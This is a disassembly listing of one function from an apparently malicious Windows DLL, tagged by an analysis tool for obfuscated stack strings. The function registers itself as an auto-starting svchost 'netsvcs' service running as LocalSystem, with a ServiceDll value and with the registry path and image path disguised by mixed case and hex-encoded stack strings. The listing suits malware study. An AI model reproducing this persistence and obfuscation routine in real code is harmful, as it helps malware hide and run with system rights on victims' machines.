Function at 0x10002820
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x1001c460]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 0x103
mov esi, ecx
lea ecx, [ebp - 0x20b]
push 0
push ecx
mov dword [ebp - 0x21c], eax
mov byte [ebp - 0x20c], 0
call fcn.1000c490
add esp, 0xc
push str.SysTEMcURrentcontrolsEt_sErvices_
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [ebp - 0x20c]
push eax
call edi
mov eax, dword [0x1001e72c]
push 0
lea ecx, [ebp - 0x210]
push ecx
mov ecx, dword [eax + 0x1c]
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x20c]
push edx
push connect
call ecx
mov edx, dword [ebp - 0x210]
mov eax, dword [0x1001e72c]
mov ecx, dword [eax + 0x2c]
push 0x104
push esi
push 1
push 0
push str.DisplayName
push edx
call ecx
mov eax, dword [ebp - 0x210]
mov ecx, dword [0x1001e72c]
push 4
lea edx, [ebp - 0x214]
push edx
push 4
push 0
push str.Type
mov dword [ebp - 0x214], 0x20
mov edx, dword [ecx + 0x2c]
push eax
call edx
mov ecx, dword [ebp - 0x210]
mov edx, dword [0x1001e72c]
push 4
lea eax, [ebp - 0x214]
push eax
push 4
push 0
push str.Start
mov dword [ebp - 0x214], 2
mov eax, dword [edx + 0x2c]
push ecx
call eax
mov edx, dword [ebp - 0x210]
mov eax, dword [0x1001e72c]
push 4
lea ecx, [ebp - 0x214]
push ecx
push 4
push 0
push str.ErrorControl
mov dword [ebp - 0x214], 0
mov ecx, dword [eax + 0x2c]
push edx
call ecx
push 0xde
lea edx, [ebp - 0xe2]
push 0
push edx
mov dword [ebp - 0x108], 0x73795325
mov dword [ebp - 0x104], 0x526d6574
mov dword [ebp - 0x100], 0x25746f6f
mov dword [ebp - 0xfc], 0x7379735c
mov dword [ebp - 0xf8], 0x336d6574
mov dword [ebp - 0xf4], 0x76735c32
mov dword [ebp - 0xf0], 0x736f6863
mov dword [ebp - 0xec], 0x78652e74
mov dword [ebp - 0xe8], 0x6b2d2065
mov word [ebp - 0xe4], 0x20
call fcn.1000c490
add esp, 0xc
push str.netsvcs
lea eax, [ebp - 0x108]
push eax
call edi
mov edx, dword [ebp - 0x210]
mov eax, dword [0x1001e72c]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
mov ecx, dword [eax + 0x2c]
push 2
push 0
push str.ImagePath
push edx
call ecx
mov edx, dword [ebp - 0x210]
mov eax, dword [0x1001e72c]
mov ecx, dword [eax + 0x2c]
push 0x104
push str.LocalSystem
push 1
push 0
push str.ObjectName
push edx
call ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.10007725
mov ecx, dword [0x1001e760]
mov eax, 0x4ec4ec4f
mul ecx
mov eax, dword [ebp - 0x210]
shr edx, 3
imul edx, edx, 0x1a
add esp, 4
push 0x104
sub ecx, edx
mov edx, dword [ecx*4 + 0x1001d270]
mov ecx, dword [0x1001e72c]
push edx
mov edx, dword [ecx + 0x2c]
push 1
push 0
push str.Description
push eax
call edx
inc dword [0x1001e760]
cmp dword [0x1001e86c], 0
push 0
jne 0x10002aaf
mov ecx, dword [ebp - 0x210]
mov edx, dword [0x1001e72c]
lea eax, [ebp - 0x218]
push eax
mov eax, dword [edx + 0x1c]
push 0
push 0x20006
push 0
push 0
push 0
push 0x1001990c
push ecx
call eax
jmp 0x10002ad9
mov edx, dword [ebp - 0x210]
mov eax, dword [0x1001e72c]
lea ecx, [ebp - 0x218]
push ecx
mov ecx, dword [eax + 0x1c]
push 0
push 0x20006
push 0
push 0
push 0
push 0x10019918
push edx
call ecx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.Servicccc
lea edx, [ebp - 0x108]
push edx
call esi
push str.eDll
lea eax, [ebp - 0x102]
push eax
call esi
mov ecx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
push 0x104
push ecx
mov ecx, dword [0x1001e72c]
push 2
push 0
lea edx, [ebp - 0x108]
push edx
mov edx, dword [ecx + 0x2c]
push eax
call edx
mov eax, dword [ebp - 0x218]
mov ecx, dword [0x1001e72c]
mov edx, dword [ecx + 0x18]
push eax
call edx
mov eax, dword [ebp - 0x210]
mov ecx, dword [0x1001e72c]
mov edx, dword [ecx + 0x18]
push eax
call edx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000680f
mov esp, ebp
pop ebp
ret